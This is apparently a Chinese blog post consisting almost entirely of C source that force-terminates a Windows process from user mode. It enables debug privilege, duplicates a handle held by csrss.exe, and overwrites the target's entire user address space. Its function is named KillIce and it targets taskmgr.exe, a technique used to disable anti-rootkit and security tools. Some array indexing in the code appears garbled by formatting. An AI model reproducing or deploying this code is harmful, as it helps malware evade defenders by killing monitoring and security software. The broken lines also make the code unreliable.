Ring3内存清0结束进程2

偏执的太偏执、 2022-12-27 11:26 110阅读 0赞

/\* This simple app demonstrates how to kill process by writing process's memory.  
Write by EP\_X0FF and DNY,I just extract it to C ---- zjjmj2002  
\*/  
\#include <Windows.h>   
\#include <Ntsecapi.h>   
\#include <Aclapi.h>  
\#include <tlhelp32.h>   
  
\#pragma comment (lib,"ntdll.lib") // Copy From DDK   
\#pragma comment (lib,"Kernel32.lib")   
\#pragma comment (lib,"Advapi32.lib")   
\#pragma comment(linker, "/ENTRY:main")  
  
//------------------ 数据类型声明开始 --------------------//  
typedef struct \_PROCESS\_BASIC\_INFORMATION \{   
NTSTATUS ExitStatus;  
ULONG PebBaseAddress;  
ULONG\_PTR AffinityMask;  
LONG BasePriority;  
ULONG\_PTR UniqueProcessId;  
ULONG\_PTR InheritedFromUniqueProcessId;  
\} PROCESS\_BASIC\_INFORMATION;  
typedef PROCESS\_BASIC\_INFORMATION \*PPROCESS\_BASIC\_INFORMATION;  
  
typedef struct \_SYSTEM\_HANDLE\_INFORMATION  
\{   
ULONG ProcessId;  
UCHAR ObjectTypeNumber;  
UCHAR Flags;  
USHORT Handle;  
PVOID Object;  
ACCESS\_MASK GrantedAccess;  
\} SYSTEM\_HANDLE\_INFORMATION, \*PSYSTEM\_HANDLE\_INFORMATION;   
typedef struct \_SYSTEM\_MODULE\_INFORMATION \{   
ULONG Reserved\[2\];   
PVOID Base;   
ULONG Size;   
ULONG Flags;   
USHORT Index;   
USHORT Unknown;   
USHORT LoadCount;   
USHORT ModuleNameOffset;   
CHAR ImageName\[256\];   
\} SYSTEM\_MODULE\_INFORMATION, \*PSYSTEM\_MODULE\_INFORMATION;   
  
typedef struct \_OBJECT\_ATTRIBUTES \{   
ULONG Length;   
HANDLE RootDirectory;   
PUNICODE\_STRING ObjectName;   
ULONG Attributes;   
PVOID SecurityDescriptor;   
PVOID SecurityQualityOfService;   
\} OBJECT\_ATTRIBUTES, \*POBJECT\_ATTRIBUTES;   
  
typedef enum \_SECTION\_INHERIT \{   
ViewShare = 1,   
ViewUnmap = 2   
\} SECTION\_INHERIT;   
  
typedef struct \_MY\_PROCESS\_INFO \{   
ULONG PID;   
ULONG KPEB;   
ULONG CR3;   
CHAR Name\[16\];   
ULONG Reserved;   
\} MY\_PROCESS\_INFO, \*PMY\_PROCESS\_INFO;  
typedef struct \_CLIENT\_ID \{   
HANDLE UniqueProcess;  
HANDLE UniqueThread;  
\} CLIENT\_ID;  
typedef CLIENT\_ID \*PCLIENT\_ID;   
  
typedef long NTSTATUS;   
//------------------ 数据类型声明结束 --------------------//   
  
//--------------------- 预定义开始 -----------------------//   
\#define NT\_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)   
\#define STATUS\_SUCCESS 0x00000000   
\#define STATUS\_UNSUCCESSFUL 0xC0000001   
\#define STATUS\_NOT\_IMPLEMENTED 0xC0000002   
\#define STATUS\_INFO\_LENGTH\_MISMATCH 0xC0000004   
\#define STATUS\_INVALID\_PARAMETER 0xC000000D   
\#define STATUS\_ACCESS\_DENIED 0xC0000022   
\#define STATUS\_BUFFER\_TOO\_SMALL 0xC0000023   
\#define OBJ\_KERNEL\_HANDLE 0x00000200   
\#define SystemModuleInformation 11  
\#define SystemHandleInformation 0x10   
  
\#define InitializeObjectAttributes( p, n, a, r, s ) \{ (p)->Length = sizeof( OBJECT\_ATTRIBUTES );(p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; \}   
//--------------------- 预定义结束 -----------------------//   
  
//------------------ Native API声明开始 ------------------//   
  
NTSYSAPI   
NTSTATUS   
NTAPI   
ZwQuerySystemInformation(   
ULONG SystemInformationClass,   
PVOID SystemInformation,   
ULONG SystemInformationLength,   
PULONG ReturnLength   
);   
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwOpenProcess(  
  
OUT PHANDLE ProcessHandle,  
IN ACCESS\_MASK AccessMask,  
IN POBJECT\_ATTRIBUTES ObjectAttributes,  
IN PCLIENT\_ID ClientId );  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwAllocateVirtualMemory(  
  
IN HANDLE ProcessHandle,  
IN OUT PVOID \*BaseAddress,  
IN ULONG ZeroBits,  
IN OUT PULONG RegionSize,  
IN ULONG AllocationType,  
IN ULONG Protect );  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwDuplicateObject(  
  
IN HANDLE SourceProcessHandle,  
IN PHANDLE SourceHandle,  
IN HANDLE TargetProcessHandle,  
OUT PHANDLE TargetHandle,  
IN ACCESS\_MASK DesiredAccess OPTIONAL,  
IN BOOLEAN InheritHandle,  
IN ULONG Options );  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwQueryInformationProcess(  
  
IN HANDLE ProcessHandle,  
IN PVOID ProcessInformationClass,  
OUT PVOID ProcessInformation,  
IN ULONG ProcessInformationLength,  
OUT PULONG ReturnLength );  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwProtectVirtualMemory(  
  
IN HANDLE ProcessHandle,  
IN OUT PVOID \*BaseAddress,  
IN OUT PULONG NumberOfBytesToProtect,  
IN ULONG NewAccessProtection,  
OUT PULONG OldAccessProtection );  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwWriteVirtualMemory(  
  
IN HANDLE ProcessHandle,  
IN PVOID BaseAddress,  
IN PVOID Buffer,  
IN ULONG NumberOfBytesToWrite,  
OUT PULONG NumberOfBytesWritten OPTIONAL );  
  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwClose(  
  
IN HANDLE ObjectHandle );  
  
NTSYSAPI   
NTSTATUS  
NTAPI  
ZwFreeVirtualMemory(  
  
IN HANDLE ProcessHandle,  
IN PVOID \*BaseAddress,  
IN OUT PULONG RegionSize,  
IN ULONG FreeType );  
  
//------------------ Native API声明结束 ------------------//   
  
//------------------ 程序正式开始 ------------------//   
  
DWORD GetPidByName(char \*szName)  
\{   
HANDLE hProcessSnap = INVALID\_HANDLE\_VALUE;  
PROCESSENTRY32 pe32=\{0\};  
DWORD dwRet=0;  
  
hProcessSnap =CreateToolhelp32Snapshot(TH32CS\_SNAPPROCESS, 0);  
if(hProcessSnap == INVALID\_HANDLE\_VALUE)return 0;  
  
pe32.dwSize = sizeof(PROCESSENTRY32);  
if(Process32First(hProcessSnap, &pe32))  
\{   
do  
\{   
if(lstrcmpi(szName,pe32.szExeFile)==0)  
\{   
dwRet=pe32.th32ProcessID;  
break;  
\}  
\}while (Process32Next(hProcessSnap,&pe32));  
\}  
else return 0;  
  
if(hProcessSnap !=INVALID\_HANDLE\_VALUE)CloseHandle(hProcessSnap);  
return dwRet;  
\}  
  
void KillIce(ULONG dwProcessId)   
\{   
HANDLE ph, h\_dup;  
ULONG bytesIO;  
PVOID buf;  
ULONG i;  
CLIENT\_ID cid1;  
OBJECT\_ATTRIBUTES attr;  
HANDLE csrss\_id;  
HANDLE SnapShotHandle;  
PROCESS\_BASIC\_INFORMATION pbi;  
PVOID p0, p1;  
ULONG sz, oldp;  
ULONG NumOfHandle;  
PSYSTEM\_HANDLE\_INFORMATION h\_info;   
  
csrss\_id = (HANDLE)GetPidByName("csrss.exe");  
attr.Length = sizeof(OBJECT\_ATTRIBUTES);  
attr.RootDirectory = 0;  
attr.ObjectName = 0;  
attr.Attributes = 0;  
attr.SecurityDescriptor = 0;  
attr.SecurityQualityOfService = 0;  
  
cid1.UniqueProcess = csrss\_id;  
cid1.UniqueThread = 0;  
ZwOpenProcess(&ph, PROCESS\_ALL\_ACCESS, &attr, &cid1);  
  
bytesIO = 0x400000;  
buf = 0;  
ZwAllocateVirtualMemory(GetCurrentProcess(), &buf, 0, &bytesIO, MEM\_COMMIT, PAGE\_READWRITE);  
ZwQuerySystemInformation(SystemHandleInformation, buf, 0x400000, &bytesIO);  
NumOfHandle = (ULONG)buf;  
h\_info = ( PSYSTEM\_HANDLE\_INFORMATION )((ULONG)buf+4);  
  
for (i= 0 ; i<NumOfHandle; i++)  
\{   
if ((h\_info .ProcessId == (ULONG)csrss\_id)&&(h\_info*.ObjectTypeNumber == 5))  
\{  
if (ZwDuplicateObject(ph, (PHANDLE)h\_info.Handle, (HANDLE)-1, &h\_dup,  
0, 0, DUPLICATE\_SAME\_ACCESS) == STATUS\_SUCCESS)  
ZwQueryInformationProcess(h\_dup, 0, &pbi, sizeof(pbi), &bytesIO);  
if (pbi.UniqueProcessId == dwProcessId)  
\{  
MessageBox(0, "目标已确定!", "OK", MB\_OK);  
for (i = 0x1000; i<0x80000000; i = i + 0x1000)  
\{  
p0 = (PVOID)i;  
p1 = p0;  
sz = 0x1000;  
if (ZwProtectVirtualMemory(h\_dup, &p1, &sz, PAGE\_EXECUTE\_READWRITE, &oldp) == STATUS\_SUCCESS)  
\{  
ZwWriteVirtualMemory(h\_dup, p0, buf, 0x1000, &oldp);  
\}  
\}  
MessageBox(0, "任务已完成！","OK", 0);  
ZwClose(h\_dup);  
\}  
\}  
\}  
  
bytesIO = 0;  
ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM\_RELEASE);  
  
  
\}  
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable)  
\{  
TOKEN\_PRIVILEGES tp;  
tp.PrivilegeCount = 1;  
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges\[0\].Luid);  
tp.Privileges\[0\].Attributes = fEnable ? SE\_PRIVILEGE\_ENABLED:0;  
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);  
return((GetLastError() == ERROR\_SUCCESS));  
\}  
void main()  
\{  
ULONG Pid;  
HANDLE hToken;  
OpenProcessToken(GetCurrentProcess(),TOKEN\_ADJUST\_PRIVILEGES,&hToken);  
EnablePrivilege(hToken,SE\_DEBUG\_NAME,TRUE);  
if (Pid = GetPidByName("taskmgr.exe"))  
\{  
KillIce(Pid);  
\}  
ExitProcess(0);  
\}*